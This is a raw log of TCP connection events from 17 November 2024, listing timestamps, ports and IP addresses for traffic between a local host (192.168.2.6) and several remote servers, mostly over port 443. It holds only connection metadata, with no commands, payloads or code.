Nov 17, 2024 10:07:33.337851048 CET	49852	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.337863922 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.337874889 CET	443	49852	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.350353956 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.350395918 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.376077890 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.376116037 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.376580000 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.431349039 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.431366920 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.449131966 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.449174881 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.449387074 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.541009903 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.541052103 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.701090097 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.726789951 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.726816893 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.727387905 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.727397919 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.818680048 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.827500105 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.827522993 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.827950001 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.827955961 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.853815079 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.854059935 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.854126930 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.854182959 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.854213953 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.854232073 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.854262114 CET	49853	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.854269981 CET	443	49853	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.857295036 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.857332945 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.857412100 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.857553959 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.857573032 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.955738068 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.955899000 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.955969095 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.998234034 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.998270035 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:33.998286009 CET	49855	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:33.998295069 CET	443	49855	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.026650906 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.026772976 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.026946068 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.039825916 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.039905071 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.092853069 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.100316048 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.100359917 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.100821018 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.100827932 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.161796093 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.168040037 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.168057919 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.168643951 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.168649912 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.230297089 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.230369091 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.231041908 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.231813908 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.231813908 CET	49857	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.231837034 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.231851101 CET	443	49857	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.277311087 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.282485962 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.282573938 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.282676935 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.284895897 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.284924984 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.285391092 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.285397053 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.287595987 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.287698984 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.294027090 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.294096947 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.294202089 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.294322014 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.294461012 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.294461012 CET	49860	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.294469118 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.294476032 CET	443	49860	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.305794954 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.305885077 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.306020021 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.307365894 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.307441950 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.363157034 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:34.378842115 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:34.378957033 CET	443	49847	94.245.104.56	192.168.2.6
Nov 17, 2024 10:07:34.379029989 CET	49847	443	192.168.2.6	94.245.104.56
Nov 17, 2024 10:07:34.412364960 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.412642956 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.412708044 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.414741993 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.414751053 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.414789915 CET	49861	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.414796114 CET	443	49861	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.422297001 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:34.422313929 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:34.422466993 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:34.422816992 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:34.422827005 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:34.424829960 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.424844027 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.425029993 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.425687075 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.425698996 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.588221073 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.589235067 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.589277029 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.589669943 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.589678049 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.646682978 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:34.649736881 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:34.719048023 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.719418049 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.719480991 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.719624996 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.719646931 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.719664097 CET	49863	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.719671011 CET	443	49863	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.723735094 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.723758936 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.723845005 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.726425886 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.726440907 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.759819031 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.858623028 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.858676910 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.860301018 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:34.860315084 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.983578920 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.983690023 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:34.983747959 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.015675068 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.037319899 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.087012053 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.087284088 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.156178951 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.269807100 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:35.276140928 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.396331072 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.396353960 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.396780014 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.396785975 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.397062063 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.397088051 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.397142887 CET	49864	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.397156954 CET	443	49864	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.403861046 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.403892994 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.404320002 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.404331923 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.429954052 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.429995060 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.430510998 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.430567980 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.458205938 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.461988926 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:35.461998940 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:35.465799093 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:35.465812922 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:35.465892076 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:35.490539074 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.490559101 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.490987062 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.490993023 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.500231981 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:35.500598907 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:35.522614956 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.522733927 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.522811890 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.529108047 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.529140949 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.529207945 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.529210091 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.529263020 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.548561096 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.548592091 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.548682928 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.554833889 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.554833889 CET	49877	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.554851055 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.554860115 CET	443	49877	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.557008028 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.557146072 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.558096886 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.567652941 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.567653894 CET	49867	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.567697048 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.567711115 CET	443	49867	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.567754030 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.567754030 CET	49866	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.567778111 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.567800999 CET	443	49866	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.573935032 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.573977947 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.574139118 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.578547001 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.578563929 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.578928947 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.578944921 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.595771074 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:35.595793962 CET	443	49875	18.244.18.122	192.168.2.6
Nov 17, 2024 10:07:35.621201992 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.621287107 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.621356964 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.699281931 CET	49875	443	192.168.2.6	18.244.18.122
Nov 17, 2024 10:07:35.714726925 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.714726925 CET	49878	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.714772940 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.714787960 CET	443	49878	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.725583076 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.725599051 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.725785971 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.777225971 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.777301073 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.777467012 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.799382925 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.799420118 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.856004000 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.856081009 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.903181076 CET	49812	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:35.904052019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:35.908248901 CET	80	49812	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:35.908907890 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:35.909014940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:35.918294907 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.918320894 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:35.918524981 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.918642998 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:35.918680906 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:35.918760061 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:35.918962002 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:35.918982983 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:35.920319080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:35.920475006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:35.925215960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:35.925399065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:35.925441980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:35.925471067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:35.929229975 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:35.929241896 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.255172968 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.255198956 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.255249977 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.255666018 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.255700111 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.255963087 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.256333113 CET	49897	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.256349087 CET	443	49897	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.256581068 CET	49898	443	192.168.2.6	172.64.41.3
Nov 17, 2024 10:07:36.256599903 CET	443	49898	172.64.41.3	192.168.2.6
Nov 17, 2024 10:07:36.261296988 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.261308908 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.261370897 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.261838913 CET	49899	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:36.261853933 CET	443	49899	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:36.321316957 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.321818113 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.321839094 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.322266102 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.322282076 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.323051929 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.323532104 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.323549986 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.324114084 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.324120045 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.451095104 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.451167107 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.451216936 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.451231956 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.451275110 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.451332092 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.454830885 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.455025911 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.455116987 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.534394979 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.541215897 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.541215897 CET	49885	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.541244984 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.541259050 CET	443	49885	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.548161983 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.548171997 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.548227072 CET	49886	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.548232079 CET	443	49886	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.562215090 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.562247992 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.562900066 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.562911987 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.571274042 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.571294069 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.571358919 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.586725950 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.586760044 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.586843014 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.587162018 CET	49903	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.587174892 CET	443	49903	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.596378088 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.598206997 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.598258018 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.598773003 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.598788023 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.619083881 CET	49902	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.619102001 CET	443	49902	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.658154964 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.710172892 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.710566998 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.710633993 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.725260019 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.725424051 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.725475073 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.747060061 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.747075081 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.747512102 CET	49893	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.747518063 CET	443	49893	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.780472040 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.780693054 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:36.780708075 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.781305075 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.781328917 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.781369925 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:36.781379938 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.781424046 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:36.782021046 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.783330917 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:36.783396959 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.783725977 CET	49894	443	192.168.2.6	142.250.186.65
Nov 17, 2024 10:07:36.783741951 CET	443	49894	142.250.186.65	192.168.2.6
Nov 17, 2024 10:07:36.789092064 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.789092064 CET	49889	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.789124966 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.789150000 CET	443	49889	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.791635990 CET	49890	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:36.791661024 CET	443	49890	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:36.791676998 CET	49890	443	192.168.2.6	13.107.246.45
